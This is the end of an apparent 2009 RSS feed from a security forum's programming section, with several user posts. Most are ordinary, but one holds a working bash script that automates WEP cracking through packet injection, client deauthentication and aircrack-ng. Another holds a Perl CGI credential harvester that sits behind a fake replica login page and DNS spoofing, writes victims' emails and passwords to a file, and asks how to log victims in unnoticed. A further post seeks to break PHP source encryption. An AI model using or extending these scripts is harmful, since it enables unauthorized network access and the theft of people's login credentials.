done<br />
<br />
iwconfig wlan0 key $key &gt;/dev/null 2&gt;&amp;1<br />
<br />
if [ $? != 0 ]; then<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Your key is `echo ${#key}` characters long&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;It should be : a) 10 or 26 ASCII characters long&quot;<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; or : b) 5 or 13 HEX characters long&quot; <br />
else<br />
&nbsp; &nbsp; &nbsp; &nbsp; echo &quot;Valid key&quot;<br />
fi</code><hr />
</div>I don't want to use the above, since with that I must have a wireless interface up. And if I got one then that he will use that key before I wanted to. After all there are cases that there aren't commands to validate user's inputs.<br />
<br />
Can you suggest me a better way to validate user inputs? <br />
<br />
Thank you in advanced.<br />
<br />
Nick</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/programming/">Programming</category>
			<dc:creator>Nick_the_Greek</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/programming/28391-validating-user-input-bash.html</guid>
		</item>
		<item>
			<title>sourceguardian files decryption</title>
			<link>http://forums.remote-exploit.org/programming/28375-sourceguardian-files-decryption.html</link>
			<pubDate>Wed, 04 Nov 2009 18:33:55 GMT</pubDate>
			<description><![CDATA[So, here i'm back after a long time away... 
I dont really know it this is the right place to post my problem, but i haven't found a better subforum...]]></description>
			<content:encoded><![CDATA[<div>So, here i'm back after a long time away...<br />
I dont really know it this is the right place to post my problem, but i haven't found a better subforum to post in, so..<br />
First of all: yes, i've googled around a lot...and yes, i've tried to search within all of the available topics with no success.. :(<br />
I explain my problem: a lawyer friend of mine called me last thursday offering me what he called a &quot;small job&quot;. A company had opened a trial against a french programmer who tried to phisically steal one of their web servers, running a custom php application he made for the company itself. The lawyer is defending the company. They already won the first trial, therefore the french bailiffs (hope the term is right, i've googled for it..) went at the programmer's laboratory, they retrieved the webserver and they gave it to the owner (the company). Unfortunately, when the IT dept of the company tried to make some updates on the server, they discovered that the programmer made a complete encryption of all of the php source files using a freeware version of Sourceguardian 7.<br />
The company has paid a regular invoice for the overall webserver, including all of the php programs, and the agreement between them and the programmer clearly stated that all of the necessary sourcefiles would become a company property after payment.<br />
Now the bad part of all: they asked me to help them to decode the sourcefiles because they have big problems in order to rearrange all of their pictures db's. The company is a photographic agency working for some of the main italian newspapers and TV's, therefore their db contains about 50.000.000 pictures, all of them indexed and categorized on a mysql db whose access is managed by the damn php application which integrates another tricky &quot;don't-know-well-what&quot; fast indexer.<br />
I already suggested them to call in another programmer and build another website from scrap. They will...but, unfortunately, since the pictures in the db are identified only by codenames, they cannot rearrange all of the categories because the &quot;rosetta stone&quot; of all of the file naming is encrypted toghether in one of the encrypted php sourcefiles...<br />
This is the bad part.<br />
Now the worst part: the first thing i tried was google in order to find if a sourceguardian cracker was already available somewhere..obviously with no success, otherwise i would not have been here asking for help. <br />
I then analyzed how this encoder works and i discovered the following things:<br />
1)The encryption should be reversible, since no key is required in order to encrypt a file and the encrypted code can be run on any server after installing in it a standard decryption extension on the apache/php engine. The extension is installed as a unique file which must be placed in the webserver's root under an &quot;ixed&quot; folder.<br />
2) The encrypted file cannot be modified in any way: the header of the  php document is in clear and contains a series of &quot;if&quot; statements in order to check if the necessary ixed files are installed on the servers: if everything is okay, then a call to sg_load() is made with an encoded string as argument. The encoded string contains the original php source plus a checksum of the overall php file, therefore the decoding extension does not decrypts the string if the file calling the decoding funcion is modified, thus avoiding a simple echo() of the function to print on the screen the decoded mess..<br />
3)I've found a company (xxx.qinvent.com) which says that they can decode every sourceguardian file, but the customer does not trusts them because it's a chinese company, therefore they dont want to send them all of their sources... :confused:<br />
4) Sourceguardian itself has already been called in and they declared that they will not decode the files because of their policy.<br />
I've tried (with no success at all) to: <br />
-debug the encoded files using netbeans but the function result is never displayed.<br />
-coredump the apache/php engine in order to check if the decoded source is passed to the php engine in order to be executed<br />
-perform some standard decoding (base64 and other) on the encoded string<br />
no success at all.<br />
I do know that everything sounds sick, but believe it or not, this is the situation..<br />
Unfortunately, i'm not even a good programmer at all, therefore i'm not able to build a tool capable of sniffing the IPC between the php and apache, nor any eventual leak between php and the decoding extension.<br />
Moreover, i do not really understand well how php works: i do know it's an interpreted language, but (as far as i've understood) it's possible to submit a php application as a bytecode directly to the engine, very much like java works...<br />
Now i'm here asking for help...If someone could even only give me a suggestion of something else that i could try, or if someone has already done something similar and wants to give me a hand, i would really appreciate it.<br />
<br />
Thanks a lot in advance.<br />
<br />
..hoping this will not end in the idiot's corner for some reason...</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/programming/">Programming</category>
			<dc:creator>Chobin73</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/programming/28375-sourceguardian-files-decryption.html</guid>
		</item>
		<item>
			<title>scapy bluetooth</title>
			<link>http://forums.remote-exploit.org/programming/28310-scapy-bluetooth.html</link>
			<pubDate>Mon, 02 Nov 2009 15:57:44 GMT</pubDate>
			<description>hi *, 
i have a problem to forge a l2cap packet with scapy, 
someone can show me an example of use srbt() ? 
 
thanks and sorry for my bad english</description>
			<content:encoded><![CDATA[<div>hi *,<br />
i have a problem to forge a l2cap packet with scapy,<br />
someone can show me an example of use srbt() ?<br />
<br />
thanks and sorry for my bad english</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/programming/">Programming</category>
			<dc:creator>valerio</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/programming/28310-scapy-bluetooth.html</guid>
		</item>
		<item>
			<title>ruby scipts plz</title>
			<link>http://forums.remote-exploit.org/programming/28218-ruby-scipts-plz.html</link>
			<pubDate>Sat, 31 Oct 2009 03:04:23 GMT</pubDate>
			<description><![CDATA[I'm trying to pick up ruby as the title says, been going pretty good so far but im finding a complete lack of anything security related other than...]]></description>
			<content:encoded><![CDATA[<div>I'm trying to pick up ruby as the title says, been going pretty good so far but im finding a complete lack of anything security related other than msf and dradis. so...<br />
<br />
Any of you happen to know of a decent site, or a couple scripts i can use as reference. I just learn better by doing, and writing  &quot;Hi im john, and 10+10=20&quot; scripts is pointless. <br />
<br />
Thanks</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/programming/">Programming</category>
			<dc:creator>vvpalin</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/programming/28218-ruby-scipts-plz.html</guid>
		</item>
		<item>
			<title>semi auto WEP with station script....need advice..</title>
			<link>http://forums.remote-exploit.org/programming/28184-semi-auto-wep-station-script-need-advice.html</link>
			<pubDate>Fri, 30 Oct 2009 07:22:29 GMT</pubDate>
			<description><![CDATA[hi. 1st sorry about my english, i'm asian 
 
(fresh bt4 vm + edimark 7318usg) 
my script like:- 
 
 
Code: 
--------- 
#!/bin/bash 
device=wlan0]]></description>
			<content:encoded><![CDATA[<div>hi. 1st sorry about my english, i'm asian<br />
<br />
(fresh bt4 vm + edimark 7318usg)<br />
my script like:-<br />
<br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">#!/bin/bash<br />
device=wlan0<br />
driver=rt73usb<br />
fake=00:11:22:33:44:55<br />
enc=1<br />
<br />
airmon-ng stop $device<br />
ifconfig $device down<br />
rmmod $driver<br />
modprobe $driver<br />
macchanger --mac 00:11:22:33:44:55 $device<br />
iwconfig $device mode monitor<br />
ifconfig $device up<br />
airmon-ng start $device<br />
airmon-ng stop mon0<br />
sudo rm *.txt<br />
sudo rm *.cap<br />
sudo rm *.sh~<br />
sudo rm *.arp-request<br />
sudo rm *.ivs<br />
sudo rm *.xor<br />
sudo rm *.csv<br />
clear<br />
<br />
echo &quot;&quot;<br />
echo &quot;&nbsp; &nbsp; &nbsp; ___________________________________________________&nbsp; &quot;<br />
echo &quot;&nbsp; &nbsp;  |&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;  | &quot;<br />
echo &quot;&nbsp; &nbsp;  | chose your target, write down the ESSID,BSSID,ENC | &quot;<br />
echo &quot;&nbsp; &nbsp;  | CH,and STATION. Once done close 'MONITOR' konsole | &quot;<br />
echo &quot;&nbsp; &nbsp;  | and follow the instruction... have a nice day :-) | &quot;<br />
echo &quot;&nbsp; &nbsp;  |___________________________________________________| &quot;<br />
echo &quot;&quot;<br />
<br />
&nbsp;  konsole -T MONITOR --noclose -e airodump-ng $device<br />
<br />
echo &quot;&quot;<br />
read -p&nbsp; &quot;&nbsp; A. CHANNEL (CH).......................?&nbsp; &quot; ch<br />
read -p&nbsp; &quot;&nbsp; B. ESSID..............................?&nbsp; &quot; essid<br />
read -p&nbsp; &quot;&nbsp; C. BSSID&nbsp;  xx:xx:xx:xx:xx:xx .........?&nbsp; &quot; bssid<br />
read -p&nbsp; &quot;&nbsp; D. STATION xx:xx:xx:xx:xx:xx .........?&nbsp; &quot; station<br />
echo &quot;&quot;<br />
<br />
if [ $enc = 1 ]<br />
then<br />
airmon-ng start $device $ch<br />
airmon-ng stop mon0<br />
<br />
iwconfig $device rate 1M<br />
<br />
&nbsp;konsole -T table-A --noclose -e airodump-ng -c $ch --write key --bssid $bssid $device &amp;<br />
sleep 3<br />
&nbsp;konsole -T table-B --noclose -e aireplay-ng -1 6000 -q 10 -o 1 -a $bssid -e $essid -h $fake $device &amp;<br />
sleep 10<br />
&nbsp;konsole -T table-C --noclose -e aireplay-ng -3 -b $bssid -e $essid -h $fake $device &amp;<br />
sleep 10<br />
konsole -T table-FLASH -e aireplay-ng -0 50 -a $bssid -c $station -h $fake $device &amp;<br />
sleep 15<br />
clear<br />
echo &quot;&nbsp; &nbsp; please wait.........&nbsp;  &quot;<br />
echo &quot;&nbsp; &nbsp; do not close any konsole until you got thr password at table-D&nbsp; &quot;<br />
sleep 30<br />
&nbsp; &nbsp; &nbsp; &nbsp; konsole -T table-D -e aircrack-ng key-01.cap<br />
clear<br />
echo &quot;&quot;<br />
echo &quot;&nbsp; :-) &quot;<br />
exit<br />
fi</code><hr />
</div>any advice  how to change to fully auto, mean<br />
i dont want write down the input..just want chose the AP and client mac on the list<br />
like  <br />
<div style="margin:20px; margin-top:5px">
	<div class="smallfont" style="margin-bottom:2px">Code:</div>
	<hr /><code style="margin:0px" dir="ltr" style="text-align:left">&nbsp; &nbsp;  choose your AP target<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; esssid&nbsp; &nbsp; &nbsp; &nbsp; enc<br />
&nbsp; &nbsp; &nbsp; a. aztech1&nbsp; &nbsp; &nbsp;  (wep)&nbsp;  1<br />
&nbsp; &nbsp; &nbsp; b. aztech2&nbsp; &nbsp; &nbsp;  (wpa)&nbsp;  2<br />
&nbsp; &nbsp; &nbsp; c. aztech3&nbsp; &nbsp; &nbsp;  (opn)&nbsp;  3<br />
<br />
<br />
&nbsp; &nbsp;  chose your client<br />
<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; essid&nbsp; &nbsp; &nbsp;  station<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; aztech1&nbsp; &nbsp;  xx:xx:xx:xx:xx:xx&nbsp;  1<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xx:xx:xx:xx:xx:xx&nbsp;  2<br />
&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; xx:xx:xx:xx:Xx:xx&nbsp;  3</code><hr />
</div>then script auto  run.<br />
my imagine is<br />
save any data when &quot;MONITOR&quot; run and recall back the data when &quot;MONITOR&quot; closed, how to make this script hapend..</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/programming/">Programming</category>
			<dc:creator>mael4704</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/programming/28184-semi-auto-wep-station-script-need-advice.html</guid>
		</item>
		<item>
			<title>cgi script</title>
			<link>http://forums.remote-exploit.org/programming/28165-cgi-script.html</link>
			<pubDate>Thu, 29 Oct 2009 16:56:53 GMT</pubDate>
			<description>Okay, So Ive setup air snarf in the lab, im using ettercap to Spoof the dns, I have modified a fake replica page where the login action invokes the...</description>
			<content:encoded><![CDATA[<div>Okay, So Ive setup air snarf in the lab, im using ettercap to Spoof the dns, I have modified a fake replica page where the login action invokes the cgi script below, the login, is saved and all works fine, my question is instead of serving up the said, cgi page  with the example message &quot;sorry our server is down for mantainence&quot; how would we go about using the information from stdin, to refer and log the victim into their account whilst still recording the data to passwords.txt, so instead of the stealing the victims login, and printing a suspicious sorry our servers are down message, the victims logins should be stolen but the victim should also be signed into his account, none the wiser of what just happened, <br />
<br />
so a quick overview, the user presses login on the fake replica page, the cgi/html script is executed his info is stored to passwords.txt but he is also then logged in, without seeing any of this happen.<br />
<br />
<br />
<font color="Blue">CURRENT CGI SCRIPT</font><br />
<br />
#!perl<br />
# chmod +x this file and stick it in your cgi-bin directory<br />
<br />
# CHANGE THESE VARIABLES $page_title $page_message $page_image<br />
$page_title = &quot;BUSY SERVERS&quot;;<br />
$page_message = &quot;SORRY IT LOOKS LIKE OUR SERVERS ARE BUSY TRY LATER&quot;;<br />
$page_image = &quot;SERVER.jpg&quot;;<br />
<br />
print &quot;Content-type:text/html\n\n&quot;;<br />
<br />
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});<br />
@pairs = split(/&amp;/, $buffer);<br />
foreach $pair (@pairs) {<br />
    ($name, $value) = split(/=/, $pair);<br />
    $value =~ tr/+/ /;<br />
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(&quot;C&quot;, hex($1))/eg;<br />
    $FORM{$name} = $value;<br />
}<br />
$file = &quot;/passwords.txt&quot;;<br />
open (MAIL, &quot;&gt;&gt;$file&quot;) or dienice(&quot;Can't access $file!\n&quot;);<br />
print MAIL &quot;\nurl = $ENV{'SERVER_NAME'}&quot;;<br />
foreach $key (keys(%FORM)) {<br />
    print MAIL &quot;, $key = $FORM{$key}&quot;;<br />
}<br />
close(MAIL);<br />
<br />
# return HTML message to user<br />
print &quot;&lt;html&gt;&lt;head&gt;&lt;title&gt;$page_title&lt;/title&gt;&lt;/head&gt;&lt;body&gt;&quot;;<br />
print &quot;&lt;center&gt;&quot;;<br />
print &quot;&lt;img src=\&quot;/$page_image\&quot;&gt;&lt;br&gt;&lt;br&gt;&quot;;<br />
print &quot;$page_message&lt;br&gt;&lt;br&gt;\n&quot;;<br />
print &quot;&lt;/body&gt;&lt;/html&gt;&quot;;<br />
<font color="Blue"><br />
<br />
Here is an example of what password.txt looks like</font><br />
<br />
url = <a href="http://www.backtrack.com" target="_blank">Backtrack Railway Services</a>, form_charset = UTF-8, login_params = , login_cmd = , submit.x = Log In, login_email = <a href="mailto:Backtrack@hotmail.com">Backtrack@hotmail.com</a>, login_password = backtrack1, target_page = 0<br />
<br />
<br />
<br />
<br />
<br />
<br />
<b><font color="Blue">this is what the script needs to something like, excuse this pathetic attempt</font></b><br />
<br />
#!perl<br />
# chmod +x this file and stick it in your cgi-bin directory<br />
<br />
<br />
print &quot;Content-type:text/html\n\n&quot;;<br />
<br />
read(STDIN, $buffer, $ENV{'CONTENT_LENGTH'});<br />
@pairs = split(/&amp;/, $buffer);<br />
foreach $pair (@pairs) {<br />
    ($name, $value) = split(/=/, $pair);<br />
    $value =~ tr/+/ /;<br />
    $value =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack(&quot;C&quot;, hex($1))/eg;<br />
    $FORM{$name} = $value;<br />
}<br />
$file = &quot;/passwords.txt&quot;;<br />
open (MAIL, &quot;&gt;&gt;$file&quot;) or dienice(&quot;Can't access $file!\n&quot;);<br />
print MAIL &quot;\nurl = $ENV{'SERVER_NAME'}&quot;;<br />
foreach $key (keys(%FORM)) {<br />
    print MAIL &quot;, $key = $FORM{$key}&quot;;<br />
}<br />
close(MAIL);<br />
<br />
# return HTML message to user<br />
&lt;html&gt;<br />
&lt;body&gt;<br />
<br />
&lt;form method=&quot;post&quot; action=&quot;not for forum&quot;&gt; <br />
<br />
<br />
&lt;input type=&quot;hidden&quot; name=&quot;page&quot; value=&quot;$page&quot;&gt;<br />
<br />
username: &lt;input type=&quot;text&quot; name=&quot;login_email&quot; value=&quot;$key&quot; size=10&gt;&lt;br&gt;<br />
password: &lt;input type=&quot;password&quot; name=&quot;login_password&quot;  value=&quot;$FORM&quot; size=10&gt;&lt;p&gt;<br />
<br />
<br />
&lt;input type=&quot;submit&quot; value=&quot;Log In&quot;&gt;<br />
<br />
&lt;/form&gt;<br />
<br />
&lt;/body&gt;<br />
&lt;/html&gt;<br />
<br />
<br />
<br />
<br />
Thanks in advanced.</div>

]]></content:encoded>
			<category domain="http://forums.remote-exploit.org/programming/">Programming</category>
			<dc:creator>killadaninja</dc:creator>
			<guid isPermaLink="true">http://forums.remote-exploit.org/programming/28165-cgi-script.html</guid>
		</item>
	</channel>
</rss>
